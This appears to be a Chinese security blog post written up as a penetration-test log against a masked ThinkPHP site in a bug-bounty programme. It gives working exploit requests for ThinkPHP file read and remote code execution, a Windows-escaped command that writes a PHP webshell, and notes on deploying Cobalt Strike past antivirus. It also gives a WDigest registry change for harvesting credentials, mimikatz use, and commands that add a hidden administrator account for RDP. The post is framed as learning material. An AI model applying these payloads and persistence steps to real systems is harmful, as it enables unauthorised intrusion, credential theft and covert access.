0x01 前言
在某次互联网SRC中,以某站点为目标进行渗透,文章将对相关信息进行脱敏处理,相关地址以 target.com进行代替,流程较为丝滑
1.
确定目标地址
2.
进行信息收集
3.
根据框架拿到历史漏洞
4.
写入webshell
5.
写入冰蝎shell
6.
辗转反侧写入CS马
7.
C2上线无需提权、创建用户划分用户组
8.
连接3389成功进入远程桌面
* 故事情节虚拟、文章仅作为分享学习、请勿非法操作
0x02 情节发展
根据相关资产,拿到 target.com后对子域名进行打点,找到zhoudi.target.com这个域名,访问后,这小图标,这url路径,一眼顶针就TP框架了
输入一个不存在的文件,看到报错出当前TP版本
此框架版本是存在多个漏洞的,比如任意文件读取,我使用burp读取hosts文件,然后定位到echo标签看到文件内容
GET
/?s=index/thinkLang/load&file=C:WindowsSystem32driversetchosts
HTTP/1.1
Host: zhoudi.target.com
Upgrade-Insecure-Requests
: 1
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept
: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding
: gzip, deflate
Accept-Language
: zh-CN,zh;q=0.9
Cookie
: PHPSESSID=opd78vlgkhpsc83hqgds7bbr67
Connection
: close
比如此框架版本的命令执行漏洞
https://zhoudi.target.com/?s=index/thinkapp/invokefunction&function=call
_user_
func_array&vars[
0
]=system&vars[
1
][
]=ipconfig
然后就是POST传参的通过验证码模块captcha进行命令执行
POST
/index.php?s=captcha
HTTP/1.1
Host: zhoudi.target.com
Accept-Encoding
: gzip, deflate
Accept
: */*
Accept-Language
: en
User-Agent
: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection
: close
Content-Type
: application/x-www-form-urlencoded
Content-Length
: 116
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=
echo
^
@
eval
(^$_POST[
1
]);^?^> > zhangsan.php
此处我们直接写入一句话木马,这里需要注意的是,由于目标主机是Windows系统。在传递常规shell的时候,Windows会将其中符号进行特殊理解,所以我们需要加 '^'进行将后面符号进行忽略处理
写入成功以后,我们使用蚁剑进行连接成功,但是有很多命令执行不了,但是目前权限是最高权限,估计有安全软件或者是进行了限制
通过 wmic process list brief 命令看到后台进程是有ali云盾和360在线的
不清楚是不是和这个有关,后面我传了冰蝎,但是我下载的版本不好用,貌似是阉割版,不做演示了,后面就传CS马,关于 Cobalt Strike 可以看我以下文章
由于他这里有360和阿里云盾,但是我上传的webshell竟然没杀掉,判断可能是老版本,或者是静态运行没监控,于是上传一个原始的马上线,我们用蚁剑上传成功后,模拟真人点击,上线成功
REG
ADD HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d
1
/f
本想使用以上命令去读取明文密码,但是并没拿到
使用mimikatz也可以读取,但是在win 2012以后,明文密码就滞空了,NTML里面可以碰一下运气,碰撞MD5
运气不是很好,没有碰出来,于是我在想,现在不就是最高权限吗,开启远程端口,创建一个用户不得了吗
netstat
-nao
# 查询开放端口
3389默认开启状态,正合我意
net
user zhang 1Q2W3E4r /add
# 创建用户
此时创建后是登录不了的,因为默认是在users组的
此时我们需要将zhang这个用户加入到amdinistrators用户组
net localgroup administrators zhang /
add
登录成功,当前权限也是管理员,在管理员组内
在本地环境下没有域控,所以学习域渗透就暂时告一段落了,对内网想着做横向和内网渗透来着,由于是云服务器,也不是集群,就是托管,没有相关业务,看到没有什么相应所需的东西就算了,打完收工,交洞清痕
0x03 总结
在经过无限的看文章,刷视频,实战中循环,总算有了一个思路,虽然过程很简单,但是第一次的解开题的喜悦总是难以掩饰的,期待以后一步一步的前行,不断地总结
原文始发于微信公众号(州弟学安全):渗透测试|一次丝滑的渗透测试记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论